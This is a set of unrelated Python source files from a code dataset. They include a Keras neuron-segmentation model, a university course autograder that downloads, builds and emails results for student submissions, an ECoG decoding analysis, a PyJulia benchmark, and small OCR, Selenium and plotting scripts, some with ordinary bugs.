+{"seq_id":"628090122","text":"from skimage import io\nimport keras\nfrom keras.models import Sequential, load_model\nfrom keras.layers import (Dense, Dropout, Activation, Flatten,\n                          Conv3D, MaxPooling3D)\nfrom keras import backend\nfrom keras.callbacks import EarlyStopping\nimport argparse\nimport numpy as np\nimport tifffile\nimport h5py\nfrom random import randint, choice\nimport pickle\n\n\nclass NeuronModel:\n    \"\"\"\n    \"\"\"\n    def __init__(self, input_shape=(8, 16, 16, 1)):\n        self.input_shape = input_shape\n\n        self._model = Sequential()\n        self._model.add(Conv3D(16, (1, 5, 5), padding='valid',\n                               input_shape=input_shape))\n        self._model.add(Activation('relu'))\n        self._model.add(Conv3D(16, (3, 3, 3), padding='valid'))\n        self._model.add(Activation('relu'))\n        self._model.add(Conv3D(16, (1, 5, 5), padding='valid'))\n        self._model.add(Activation('relu'))\n        self._model.add(Conv3D(16, (3, 3, 3), padding='valid'))\n        self._model.add(Activation('relu'))\n        self._model.add(Flatten())\n        self._model.add(Dense(16))\n        self._model.add(Dropout(rate=0.5)) # Dropout necessary to\n                                           # avoid overfitting\n        self._model.add(Activation('relu'))\n        self._model.add(Dense(1, activation='sigmoid'))\n        self._model.summary()\n        self._model.compile(loss='binary_crossentropy',\n                            optimizer='Adam',\n                            metrics=['accuracy'])\n\n    def fit(self, generator, steps_per_epoch=16):\n        \"\"\"\n        Trains the model\n        \n        Args: \n            generator (generator): A generator to generate test data from\n            steps_per_epoch (int): Number of step per epoch\n        \"\"\"\n        callbacks = [EarlyStopping(monitor='loss', min_delta=0.0001,\n                                   patience=5, mode='min')]\n        return self._model.fit_generator(generator, steps_per_epoch,\n                                         epochs=500,\n                                         class_weight={0: 1, 1: 1.5},\n                                         verbose=2, callbacks=callbacks)\n\n    def evaluate(self, generator, steps):\n        \"\"\"\n        Evaluates the accuracy of model on test dataset\n        \n        Args:\n            generator (generator): A generator to generate test data from\n            steps (int): Number to steps to perform evaluation on\n        Returns:\n            (float, float): The loss and accuracy, respectively\n        \"\"\"\n        return self._model.evaluate_generator(generator, steps)\n\n    def predict(self, tif_filename, bounding_box_size=(8, 16, 16), batch_size=50):\n        \"\"\"\n        Runs an inference on raw TIFF file\n        \n        Args:\n            tif_filename (string): Name of raw TIFF file\n            bounding_box_size (tuple): Tuple of (height, width, length) of\n                bounding box\n        Returns:\n            array: Array of predicted segmentation\n        \"\"\"\n        # Load raw image volume\n        data = load_tif(tif_filename)\n        (H, W, L) = bounding_box_size\n        data = np.pad(data, ((H/2,), (W/2,), (L/2,)), mode='symmetric')\n\n        # Reshape input tensor to have dimension 5 (Batch, Z, Y, X, Channel)\n        inputs = data.reshape(1, data.shape[0],\n                               data.shape[1],\n                               data.shape[2], 1)\n\n        # Normalize input tensor to have unit norm\n        max_inputs = float(np.max(inputs))\n        min_inputs = float(np.min(inputs))\n        inputs = (inputs - min_inputs)/(max_inputs - min_inputs)\n        targets = np.zeros(inputs.shape)\n\n        # Iterates through volume coordinates to predict voxel values\n        isFinished = False\n        batch = 1\n        voxel_generator = coord_generator(inputs,\n                                          bounding_box_size=(8, 16, 16))\n        while not isFinished:\n            print(\"Batch: {}\".format(batch))\n            batch += 1\n            subinputs = np.zeros((1, 8, 16, 16, 1))\n            coords = [(0, 0, 0)]\n            for i in range(batch_size):\n                coord = next(voxel_generator, False)\n                coords.append(coord)\n                if coord is False:\n                    isFinished = True\n                    break\n                else:\n                    [x, y, z] = coord\n                    subinputs = np.concatenate((subinputs,\n                                                inputs[:,\n                                                       z-H/2:z+H/2,\n                                                       y-W/2:y+W/2,\n                                                       x-L/2:x+W/2,\n                                                       :]),\n                                               axis=0)\n            subtargets = self._model.predict_on_batch(subinputs)\n            for coord, subtarget in zip(coords, subtargets):\n                [x, y, z] = coord\n                targets[:, z, y, x, :] = subtarget\n\n        # Reshapes prediction volume to dimension 3 (Z, Y, X)\n        targets = targets.reshape(targets.shape[1],\n                                  targets.shape[2],\n                                  targets.shape[3])\n        # Removes padding\n        targets = targets[H/2:-H/2, W/2:-W/2, L/2:-L/2]\n        return targets\n\n    def load(self, filepath):\n        \"\"\"\n        Loads model from filepath\n\n        Args:\n            filepath (string): Path to load model from\n        \"\"\"\n        self._model = load_model(filepath)\n\n    def save(self, filepath):\n        \"\"\"\n        Saves model to filepath\n        \n        Args:\n            filepath (string): Path to save model to\n        \"\"\"\n        return self._model.save(filepath)\n\n\ndef generator(inputs_filenames,\n              targets_filenames,\n              edge_lookup_table,\n              bounding_box_size,\n              neuron_value=False, search_size=16):\n    \"\"\"\n    Generates data from raw and ground-truth datasets\n    \n    Args:\n        inputs_filenames (list): List of strings with input file names\n        targets_filenames (list): List of strings with target file names\n        edge_lookup_table (string): String of Python pickle with generated\n            edge coordinates\n        bounding_box_size (tuple): Tuple of (height, width, length) of\n            bounding box\n    Returns:\n        generator: A generator that generates a (input, target) output\n    \"\"\"\n    while True:\n        for inputs_filename, targets_filename in zip(inputs_filenames,\n                                                     targets_filenames):\n            # Loads raw input and ground-truth TIFFs\n            inputs = load_tif(inputs_filename)\n            inputs = inputs.reshape(1, inputs.shape[0],\n                                    inputs.shape[1],\n                                    inputs.shape[2], 1)\n            max_inputs = float(np.max(inputs))\n            min_inputs = float(np.min(inputs))\n            inputs = (inputs - min_inputs)/(max_inputs - min_inputs)\n\n            targets = load_tif(targets_filename)\n            targets = targets.reshape(1, targets.shape[0],\n                                      targets.shape[1],\n                                      targets.shape[2], 1)\n            (H, W, L) = bounding_box_size\n            [x, y, z] = [0, 0, 0]\n\n            # Searches for a random neuron coordinate to return the\n            # coordinate along with N random coordinates in\n            # surrounding neighborhood\n            with open(edge_lookup_table, 'r') as f:\n                neuron_lut = pickle.load(f)\n                while True:\n                    neuron_coord = choice(neuron_lut)\n                    [z, y, x] = neuron_coord\n                    [x1, y1, z1] = [x - L/2, y - W/2, z - H/2]\n                    [x2, y2, z2] = [x + L/2, y + W/2, z + H/2]\n                    bounding_coords = [[x1-search_size,\n                                        y1-search_size,\n                                        z1-search_size],\n                                       [x2+search_size,\n                                        y2+search_size,\n                                        z2+search_size]]\n                    if in_bounds(targets, bounding_coords):\n                        subinputs = inputs[:, z1:z2, y1:y2,\n                                           x1:x2, :]\n                        subtargets = np.array([int(targets[0, z,\n                                                           y, x, 0])])\n                        yield (subinputs, subtargets)\n                        for elements in range(1, search_size):\n                            hasBackground = False\n                            hasNeuron = False\n                            while not (hasBackground and hasNeuron):\n                                i = randint(-search_size, search_size-1)\n                                j = randint(-search_size, search_size-1)\n                                k = randint(-search_size, search_size-1)\n                                subinputs = np.rot90(inputs[:,\n                                                            z1+k:z2+k,\n                                                            y1+j:y2+j,\n                                                            x1+i:x2+i,\n                                                            :],\n                                                     k=randint(0, 3),\n                                                     axes=(2,3))\n                                subtargets = np.array([int(targets[0,\n                                                                   z+k,\n                                                                   y+j,\n                                                                   x+i,\n                                                                   0])])\n                                if not hasNeuron and subtargets[0] == neuron_value:\n                                    hasNeuron = (subtargets[0] == neuron_value)\n                                    yield (subinputs, subtargets)\n                                if not hasBackground and subtargets[0] != neuron_value:\n                                    hasBackground = (subtargets[0] != neuron_value)\n                                    yield (subinputs, subtargets)\n\n\nclass AutomatedConvergence(EarlyStopping):\n    \"\"\"\n    Stops training when testing loss converges\n    \"\"\"\n    def __init__(self, model, test_generator, monitor='val_loss',\n                 min_delta=0, patience=0, mode='auto'):\n        super(AutomatedConvergence, self).__init__()\n        self.test_generator = test_generator\n        self.model = model\n\n    def on_epoch_end(self, epoch, logs=None):\n        x, y = map(list,\n                   zip(*[self.test_generator.next() for i in range(1, 64)]))\n        self.loss, self.accuracy = self.model.test_on_batch(x, y)\n        current = self.loss\n        if self.monitor_op(current - self.min_delta, self.best):\n            self.best = current\n            self.wait = 0\n        else:\n            if self.wait >= self.patience:\n                self.stopped_epoch = epoch\n                self.model.stop_training = True\n            self.wait += 1\n\n\ndef in_bounds(data, bounding_coords):\n    \"\"\"\n    Determines if data is in bounding_coords\n\n    Args:\n        data (array): Numpy array of data\n        bounding_coords (list): Coordinates of bounding box\n\n    Returns:\n        bool: True if bounding coordinates are in data; false otherwise\n\n    Examples:\n        >>> in_bounds(np.zeros((2,2)), [[0, 0, 0], [1, 1, 1]])\n        True\n        >>> in_bounds(np.zeros((2,2)), [[0, 0, 0], [4, 4, 4]])\n        False\n    \"\"\"\n    [x1, y1, z1] = bounding_coords[0]\n    [x2, y2, z2] = bounding_coords[1]\n    in_bounds = (x1 >= 0 and y1 >= 0 and z1 >= 0) and \\\n                (x2 < data.shape[3] and y2 < data.shape[2] and\n                 z2 < data.shape[1])\n    return in_bounds\n\n\ndef load_tif(filename, dtype=None):\n    \"\"\"\n    Loads TIFF as a Numpy array casted as dtype\n\n    Args:\n        filename (string): Name of TIFF file\n        dtype (dtype): Type to cast file as\n    \"\"\"\n    if dtype is None:\n        return io.imread(filename)\n    else:\n        return io.imread(filename).astype(dtype)\n\n\ndef save_tif(filename, array):\n    \"\"\"\n    Saves array as TIFF\n\n    Args:\n        filename (string): Name of file\n        array (array): Numpy array\n    \"\"\"\n    return tifffile.imsave(filename, array)\n\n\ndef coord_generator(data, bounding_box_size):\n    \"\"\"\n    Generates sequential coordinates from data with value\n\n    Args:\n        data (array): An array of data\n        value (object): Value to retrieve\n    \"\"\"\n    if bounding_box_size is None:\n        [x, y, z] = [0, 0, 0]\n        while True:\n            x += 1\n            if x >= data.shape[3]:\n                x = 0\n                y += 1\n            if y >= data.shape[2]:\n                y = 0\n                z += 1\n            if z >= data.shape[1]:\n                z = 0\n                raise StopIteration\n            yield [x, y, z]\n    else:\n        [H, W, L] = bounding_box_size\n        [x, y, z] = [L/2, W/2, H/2]\n        while True:\n            x += 1\n            if x >= data.shape[3]-L/2:\n                x = L/2\n                y += 1\n            if y >= data.shape[2]-W/2:\n                y = W/2\n                z += 1\n            if z >= data.shape[1]-H/2:\n                z = H/2\n                raise StopIteration\n            yield [x, y, z]\n\n\ndef random_coords(data, value=None):\n    \"\"\"\n    Generates random coordinates from data with value\n\n    Args:\n        data (array): An array of data\n        value (object): Value to retrieve\n    \"\"\"\n    [x, y, z] = [0, 0, 0]\n    if value is None:\n        while True:\n            x = randint(0, data.shape[3]-1)\n            y = randint(0, data.shape[2]-1)\n            z = randint(0, data.shape[1]-1)\n            yield [x, y, z]\n    else:\n        while True:\n            x = randint(0, data.shape[3]-1)\n            y = randint(0, data.shape[2]-1)\n            z = randint(0, data.shape[1]-1)\n            if data[0, z, y, x, 0] == value:\n                yield [x, y, z]\n\n\ndef test():\n    TRAINING_INPUTS = ['training/inputs.tif']\n    TRAINING_TARGETS = ['training/targets.tif']\n\n    TEST_INPUTS = ['test/inputs.tif']\n    TEST_TARGETS = ['test/targets.tif']\n\n    PREDICTION = 'prediction/prediction.tif'\n\n    input_shape = (8, 16, 16, 1)\n\n    nn = NeuronModel(input_shape=input_shape)\n    bounding_box_size = input_shape[0:3]\n\n    train_generator = generator(TRAINING_INPUTS, TRAINING_TARGETS,\n                                bounding_box_size)\n    nn.fit(train_generator)\n\n    test_generator = generator(TEST_INPUTS, TEST_TARGETS, bounding_box_size)\n    loss, accuracy = nn.evaluate(test_generator, steps=64)\n    print('''\nEvaluation\n==========''')\n    print('Loss: {}'.format(loss))\n    print('Accuracy: {}'.format(accuracy))\n\n    nn.save('model.h5')\n\n\ndef main():\n    test()\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"neuronclassifier.py","file_name":"neuronclassifier.py","file_ext":"py","file_size_in_byte":14953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"638015588","text":"#!/usr/bin/env python3\n\nimport csv\nimport os\nimport smtplib\n\ntry:\n\tfrom email.mime.text import MIMEText\n\tfrom email.mime.multipart import MIMEMultipart\n\tfrom email.mime.base import MIMEBase\nexcept ImportError:\n\tfrom email.MIMEText import MIMEText\n\tfrom email.MIMEMultipart import MIMEMultipart\n\tfrom email.MIMEBase import MIMEBase\n\nimport sh\nfrom sh import wget, git, rm, make, cp, diff, ln\n\n# n.b. newer sh will support this directly when released\nclass pushd(object):\n\tdef __init__(self, path):\n\t\tself.path = path\n\n\tdef __enter__(self):\n\t\tself.cwd = os.getcwd()\n\t\tos.chdir(self.path)\n\n\tdef __exit__(self, exception_type, exception_val, trace):\n\t\tos.chdir(self.cwd)\n\n\nprint(\"Cloning base repo...\")\nrm('-rf', '373-f15-linked-list')\ngit('clone', 'https://github.com/eecs373-f15/373-f15-linked-list')\ncp('naive.out', '373-f15-linked-list/naive.out')\n\nprint(\"Grabbing submissions...\")\nwget('https://docs.google.com/spreadsheets/d/18F8ICthJunY5VFhktLD6Rgyquf8mcMl-8s80Vr1LNvQ/export?format=csv&id=18F8ICthJunY5VFhktLD6Rgyquf8mcMl-8s80Vr1LNvQ&gid=0', '-O', 'links.csv')\n\ndef attach(msg, fname):\n\tf = MIMEBase('text', 'plain')\n\tf.set_payload(open(fname).read())\n\tf.add_header('Content-Disposition', 'attachment;filename='+fname)\n\tmsg.attach(f)\n\nheader = \"\"\"\n<p>\nThis email contains the results of running your most recent submission to\nthe autograder. A copy of <tt>list.c</tt> as tested is attached to this email.\n</p>\n<p>\nIf you disagree with any of the results of the autograder, please let the course\nstaff know ASAP (reply to this email).\n</p>\n<hr />\n\"\"\"\n\ndef send_message(uniqname, body, attach_me=None):\n\tmsg = MIMEMultipart()\n\tmsg['Subject'] = '[EECS 373 F15] Autograder results for Linked List'\n\tmsg['From'] = 'ppannuto@umich.edu'\n\tmsg['To'] = uniqname+\"@umich.edu\"\n\tmsg['CC'] = 'ppannuto@umich.edu'\n\tmsg.attach(MIMEText(header+body, 'html'))\n\n\tattach(msg, 'list.c')\n\tif attach_me is not None:\n\t\tattach(msg, attach_me)\n\n\tsend_to = msg['To'].split(', ')\n\tsend_to.extend(msg['CC'].split(', '))\n\tprint(msg.as_string())\n\tprint(\"\\n\" + \"*\" * 80 + \"\\nsending to\", send_to)\n\tif 'y' in input(\"Enter 'y' to send: \"):\n\t\tsm.sendmail('ppannuto@umich.edu', send_to, msg.as_string())\n\ndef perfect_grade(uniqname):\n\tgrades.write('{},{}\\n'.format(uniqname, 20))\n\tbody = \"\"\"\n<p>All tests passed correctly.</p>\n<p><b>Your grade for this assignment is 20/20</b></p>\n\"\"\"\n\tsend_message(uniqname, body)\n\ndef no_change(uniqname):\n\tgrades.write('{},{}\\n'.format(uniqname, 0))\n\tbody = \"\"\"\n<p>Your <tt>list.c</tt> shows no change from the original implementation.</p>\n<p><b>Your grade for this assignment is 0/20</b></p>\n\t\"\"\"\n\tsend_message(uniqname, body, 'list.out')\n\ndef handgrade(uniqname):\n\tll = (line for line in open(\"list.out\").readlines())\n\tgg = (line for line in open(\"golden.out\").readlines())\n\n\tmatches = 0\n\ttotal = 0\n\n\ttry:\n\t\twhile True:\n\t\t\tg = next(gg)\n\t\t\twhile '@@ PRINT' not in g:\n\t\t\t\tg = next(gg)\n\t\t\ttotal += 1\n\n\t\t\tl = next(ll)\n\t\t\twhile g not in l:\n\t\t\t\tl = next(ll)\n\n\t\t\tg = next(gg)\n\t\t\tl = next(ll)\n\n\t\t\tif g == l:\n\t\t\t\tmatches += 1\n\texcept StopIteration:\n\t\tpass\n\n\tif matches / total > 0.5:\n\t\tgrades.write('{},{}\\n'.format(uniqname, 10))\n\t\tbody = \"\"\"\n<p>Your <tt>list.c</tt> matches {}% of the expected output.</p>\n<p><b>Your grade for this assignment is 10/20</b></p>\n\"\"\".format(int(100*(matches/total)))\n\telse:\n\t\tgrades.write('{},{}\\n'.format(uniqname, 0))\n\t\tbody = \"\"\"\n<p>Your <tt>list.c</tt> only matches {}% of the expected output. This is not\nenough to be considered a lot of effort.</p>\n<p><b>Your grade for this assignment is 0/20</b></p>\n\"\"\".format(int(100*(matches/total)))\n\n\tsend_message(uniqname, body, 'list.out')\n\ndef grade(uniqname, link):\n\tprint(\"Grading {}\".format(uniqname))\n\twith pushd('373-f15-linked-list'):\n\t\twget(link, '-O', '{}.c'.format(uniqname))\n\t\trm('-f', 'list.c', 'list.o', 'list')\n\t\tln('-s', '{}.c'.format(uniqname), 'list.c')\n\t\tmake('run')\n\t\ttry:\n\t\t\tdiff('list.out', 'golden.out')\n\t\t\tperfect_grade(uniqname)\n\t\texcept sh.ErrorReturnCode_1:\n\t\t\ttry:\n\t\t\t\tdiff('list.out', 'naive.out')\n\t\t\t\tno_change(uniqname)\n\t\t\texcept sh.ErrorReturnCode_1:\n\t\t\t\thandgrade(uniqname)\n\nsm = smtplib.SMTP()\nsm.connect()\n\ngrades = open('grades.csv', 'w')\ngrades.write('uniqname,grade\\n')\n\nwith open('links.csv') as csvfile:\n\treader = csv.reader(csvfile)\n\tfor row in reader:\n\t\tif row[0] == 'uniqname' or row[0] == 'example':\n\t\t\tcontinue\n\n\t\tif len(row) == 2:\n\t\t\tgrade(*row)\n\n","sub_path":"grader/grade.py","file_name":"grade.py","file_ext":"py","file_size_in_byte":4369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"429536550","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 10 15:02:39 2021\n\n@author: tianjinhua\n\"\"\"\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom sklearn.decomposition import PCA\n\n\nfname = '/nfs/a2/userhome/tianjinhua/workingdir/nma/faceshouses.npz'\n# Load data\nalldat = np.load(fname, allow_pickle=True)['dat']\n\nimport matplotlib.pyplot as plt\nfor subj in range(7):\n    # select just one of the recordings here. \n    dat1 = alldat[subj][0] # passive view task\n    # dat2 = alldat[1][1]\n    \n    # reorganize data: based on its current and last labels \n    V = dat1['V'].astype('float32')\n    \n    # plot spectrum of each channel using weltch\n    from scipy import signal\n    #VV = np.average(V,axis=1)\n    fs = 1000\n    for i in range(V.shape[1]):\n        f, Pxx_den = signal.welch(V[:,i], fs, nperseg=1000)\n        plt.semilogy(f, Pxx_den)\n    \n    #plt.ylim([0.5e-3, 1])\n    plt.title('Specturm of each channel')\n    plt.xlabel('frequency [Hz]')\n    plt.ylabel('PSD [V**2/Hz]')\n    plt.show()\n    \n    singalTransfer = False\n    # transfer raw data to boardband signal\n    if singalTransfer == True:\n        b, a = signal.butter(3, [50], btype = 'high', fs=1000)\n        V = signal.filtfilt(b,a,V,0)\n        V = np.abs(V)**2\n        b, a = signal.butter(3, [10], btype = 'low', fs=1000)\n        V = signal.filtfilt(b,a,V,0)\n        V = V/V.mean(0)\n    \n    nt, nchan = V.shape\n    nstim = len(dat1['t_on'])\n    \n    trange = np.arange(-200, 600)\n    ts = dat1['t_on'][:,np.newaxis] + trange\n    V_epochs = np.reshape(V[ts, :], (nstim, 800, nchan)) #sample, timenumber, channel number\n    \n    # define new labels\n    dat1['stim_id'][dat1['stim_id']<=50] = 1\n    dat1['stim_id'][dat1['stim_id']>50] = 0\n    \n    windowLength = 3\n    newLabel = np.zeros((dat1['stim_id'].shape[0]-windowLength,windowLength+1),dtype=int)\n    labelNum = np.zeros(dat1['stim_id'].shape[0]-windowLength,dtype=int)\n    \n    index = 0\n    for i in range(windowLength,dat1['stim_id'].shape[0]):\n        tmpLabel = dat1['stim_id'][(i-windowLength):i+1] \n        newLabel[index] = tmpLabel[::-1] # invert the label number\n        index = index + 1\n    \n    for i in range(newLabel.shape[0]):\n        for n in range(newLabel.shape[1]):\n            labelNum[i] = labelNum[i] + (2**n)*newLabel[i,n]\n    \n    # count data labe and related sample number\n    countlabel = True # 12~21\n    if countlabel == True:        \n        from collections import Counter\n        print(Counter(labelNum))\n    \n    # Calculate Neuron RDM\n    from sklearn.model_selection import StratifiedKFold\n    from sklearn.preprocessing import StandardScaler\n    from sklearn.svm import SVC\n    from sklearn.decomposition import PCA\n    \n    # compute pair number:\n    pairNum = 0\n    for x in range(labelNum[0]):\n        for y in range(labelNum[0]):\n            if x != y and x + y < labelNum[0]: # exclude same id\n                pairNum = pairNum + 1\n                \n    # construct model RMD: 1.stimuli type 2.novelty/adaptation level (0~3)\n                \n    # prepare ECOG data #V_epochs: sample, timenumber, channel number\n    # reshampe data and reduce dimension using PCA\n    #resample data at each 10 time points\n    avgV_epochs = np.zeros([V_epochs.shape[0],80,V_epochs.shape[2]])\n    for t in range(80):\n        avgV_epochs[:,t,:] = np.average(V_epochs[:,t*10:t*10+10,:],axis=1)\n    nSample, nTime, nChan = avgV_epochs.shape\n    avgV_epochs = avgV_epochs.reshape(nSample*nTime, nChan)\n    \n    # dimension reduction (99% explained variance)\n    pca = PCA(n_components=0.99, svd_solver=\"full\")  # n_components=0.90,\n    pca = pca.fit(avgV_epochs)\n    Vpc = pca.transform(avgV_epochs)\n    print('PC number is '+ str(Vpc.shape[1]))\n    Vpc = Vpc.reshape(nSample, nTime, Vpc.shape[1])\n    Vpc = Vpc[windowLength:,:,:] # start from the windowlength po\n    # traububg data \n    import time\n    scaler = StandardScaler()\n    repeat = 100\n    kfold = 2\n     \n    accs = np.zeros([nTime,repeat,kfold,pairNum])\n    # RDM of decoding accuracy values for each time point\n    for t in range(nTime): # notice that decoding start windowLength \n        # pick the time data and normalize data\n        Xt = Vpc[:,t,:]\n        Xt = scaler.fit_transform(Xt)\n    \n        time0 = time.time()\n        #repeat for repeat times:\n        for re in range(repeat):\n            state = np.random.randint(0,100)\n            kf=StratifiedKFold(n_splits=kfold, shuffle=True,random_state=state)\n            foldIndex = 0\n            for train_index, test_index in kf.split(Xt,labelNum):\n                xTrain, xTest, yTrain, yTest, = Xt[train_index], Xt[test_index],labelNum[train_index],labelNum[test_index]\n                yTrain = yTrain.reshape(yTrain.shape[0],1)\n                yTest = yTest.reshape(yTest.shape[0],1)\n                trainPd = np.concatenate((yTrain,xTrain),axis=1) # train data\n                testPd = np.concatenate((yTest,xTest),axis=1) # test data\n                RDMindex = 0\n                for x in range(labelNum[0]):\n                    for y in range(labelNum[0]):\n                        if x != y and x + y < labelNum[0]: #x + y < 82:\n                            Pd1 = trainPd[(trainPd[:,0] == (x+1)) | (trainPd[:,0] == (y+1))] # labels are 1~80\n                            Pd2 = testPd[(testPd[:,0] == (x+1)) | (testPd[:,0] == (y+1))]\n                            # run svm\n                            svm = SVC(kernel=\"linear\")\n                            svm.fit(Pd1[:,1:],Pd1[:,0])\n                            acc = svm.score(Pd2[:,1:],Pd2[:,0]) # sub,time,RDMindex,fold,repeat # subIndex,t,re,foldIndex,RDMindex\n                            # save acc\n                            accs[t,re,foldIndex,RDMindex]=acc\n                            RDMindex = RDMindex + 1\n                foldIndex = foldIndex + 1\n        time_elapsed = time.time() - time0\n        print('Time point {} finished in {:.0f}m {:.0f}s'.format(t, time_elapsed // 60, time_elapsed % 60)) # + 'repeat '+ str(re)\n    \n    savePath =  \"/nfs/a2/userhome/tianjinhua/workingdir/nma/ECOGRDM2x100BD_subj\" + str(subj) + \".npy\"\n    # save neural RDM \n    np.save(savePath,accs)\n    \n    partialAvgAcc = np.average(accs, axis=(1, 2, 3))\n    # plot averaged acc\n    partialAvgAcc = np.squeeze(partialAvgAcc)\n    x = partialAvgAcc.shape\n    plt.plot(range(-20,60),partialAvgAcc)\n    plt.xlabel('Time points(10ms)')\n    plt.ylabel('Decoding accuracy')\n    plt.title('Pairwise decoding accuracy(average) of' + ' subject ' + str(subj))                   ","sub_path":"ECOG_decoding_CalNeuralRDM.py","file_name":"ECOG_decoding_CalNeuralRDM.py","file_ext":"py","file_size_in_byte":6504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"537276478","text":"# pip install julia si_prefix\n\nimport sys\nimport time\nfrom functools import wraps\n\nimport numpy as np\nfrom si_prefix import si_format\n\nscale = 6\niterations = 1000\n\n# Initializes PyJulia\nprint('Initializing Julia. Takes ~30 sec.')\nfrom julia.api import Julia\njl = Julia(compiled_modules=False) # See https://pyjulia.readthedocs.io/en/latest/troubleshooting.html#your-python-interpreter-is-statically-linked-to-libpython\n\nfrom julia import Main  # Loads main Julia interface\nMain.eval(f'scale = {scale}')\nMain.include('benchmark_tools.jl')  # Run file to add functions to namespace\n\ndef timethis(n):\n    def decorate(func):\n        @wraps(func)\n        def wrapper(*args, **kwargs):\n            t = np.zeros(n, dtype=np.float64)\n            for i in range(n):\n                start = time.time()\n                func(*args, **kwargs)\n                t[i] = time.time() - start\n            return t\n        return wrapper\n    return decorate\n\n# Define things to be transferred\nr = [np.random.random((10,10,10**i)) for i in range(scale)]\n\n# Define functions\nto_julia = lambda i: Main.eval('to_julia')(r[i])\nto_julia.__name__ = 'to_julia'\nto_julia_zero_copy = lambda i: Main.eval('pyfunction(to_julia, PyArray)')(r[i])\nto_julia_zero_copy.__name__ = 'to_julia_zero_copy'\n\nfrom_julia = Main.eval('from_julia')\nbidirectional_zero_copy = Main.eval('pyfunction(bidirectional, PyArray)')\nbidirectional = Main.eval('bidirectional')\n\nall_time = list()\n\ndef julia_benchmark(funclist, iterations=iterations):\n    print(f'Starting benchmark. Running for {iterations} iterations spanning {scale} orders of magnitude.\\n')\n    # Compile\n    for func in funclist:\n        for i in range(1, scale):\n            func(i)\n    \n    for func in funclist:\n        for i in range(1, scale):\n            t = timethis(iterations)(func)(i)\n            p = np.percentile(t, [5, 95])\n            all_time.append(t)\n            print(f'{func.__name__} ({si_format(sys.getsizeof(r[i]))}B): Percentiles 5th: {si_format(p[0])}s, 95th: {si_format(p[1])}s')\n        print()\n    \n    print(f'Checking for faithful transfer.')\n    for i in range(1, scale):\n        assert np.array_equal(r[i], bidirectional(r[i]))\n        assert np.array_equal(r[i], bidirectional_zero_copy(r[i]))\n    \n    print(f'OK')\n    print(f'\\nAll done.')\n\nif __name__ == '__main__':\n    julia_benchmark([from_julia, to_julia, to_julia_zero_copy])\n\n# Data analysis and plot\n#\n# import pandas as pd\n# size = len(all_time[0])\n# scale = size * [80128] + size * [800128] + size * [8000128] + size * [8000128] + size * [80000128]\n#\n# df1 = pd.DataFrame(columns=['scale', 'name', 'time'])\n# df1['scale'] = scale\n# df1['name'] = ['from_julia'] * 5000\n# df1['time'] = np.concatenate(all_time[0:5])\n# df1 = df1.drop(0)\n#\n# df2 = pd.DataFrame(columns=['scale', 'name', 'time'])\n# df2['scale'] = scale\n# df2['name'] = ['to_julia'] * 5000\n# df2['time'] = np.concatenate(all_time[5:10])\n#\n# df3 = pd.DataFrame(columns=['scale', 'name', 'time'])\n# df3['scale'] = scale\n# df3['name'] = ['to_julia_zero_copy'] * 5000\n# df3['time'] = np.concatenate(all_time[10:15])\n#\n# final = pd.concat([df1, df2, df3])\n#\n# sns.set(font_scale=1.3)\n# plt.figure(figsize=(12, 9), dpi=300)\n# ax = sns.lineplot(x='scale', y='time', hue='name', data=final, ci=95, markers=True)\n# ax.set(xscale='log', yscale='log', ylabel='log time (s)', xlabel='Bytes')\n# sns.despine(left=True)","sub_path":"test/analysis/benchmark_julia.py","file_name":"benchmark_julia.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"75014128","text":"from BaiduOCR.Funcs import *\n\n\nimgName = 'xg.jpg'\nsaveName = 'xg_crop.jpg'\nget_img(imgName)\ncrop_img(imgName, saveName)\n\n# for i in range(1, 8):\n#     crop_img(f'xg0{i}.png')\n\nques_txt = get_image_arry(saveName)\n# ques_txt = ['湄公河不经过以下哪个国家', '印度', '缅甸', '老挝']\nprint(ques_search(ques_txt))\n# print(option_search(ques_txt))\n\n\n","sub_path":"BaiduOCR/GetQuesTxt.py","file_name":"GetQuesTxt.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"152177677","text":"from selenium import webdriver\r\nimport time\r\nfrom selenium.webdriver.common.keys import Keys\r\ndriver = webdriver.Chrome(r\"C:\\Users\\Akhil\\PycharmProjects\\automation\\drivers\\chromedriver_win32 (1)\\chromedriver.exe\")\r\n# driver = webdriver.Firefox()\r\n# driver = webdriver.Ie()\r\n\r\ndriver.set_page_load_timeout(10)\r\ndriver.get(\"https://www.youtube.com/?gl=IN\")\r\ndriver.find_element_by_name(\"search_query\").send_keys('hello')\r\ndriver.find_element_by_id(\"search-icon-legacy\").send_keys(Keys.ENTER)\r\ntime.sleep(4)\r\ndriver.quit()\r\nprint(\"script successfully executed\")","sub_path":"samplescript.py","file_name":"samplescript.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"329959860","text":"import numpy as np\nimport matplotlib.pyplot as pyplot\n\nx = np.arange(-np.pi, np.py, np.py / 50)\nsin_y = np.sin(x)\ncos_y = np.cos(x)\n\nplt.plot(x, sin_y, label='sin')\nplt.plot(x, cos_y, label='cos')\nplt.title('Sin/Cos Graph')\nplt.xlabel('degree')\nplt.ylabel('value')\nplt.grid(which='major', axis='x', color='gray', alpha=0.5, linestyle='-', linewidth=1)\nplt.grid(which='major', axis='y', color='gray', alpha=0.5, linestyle='-', linewidth=1)\nplt.legend()\nplt.show()\n","sub_path":"chapter3/3-5/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
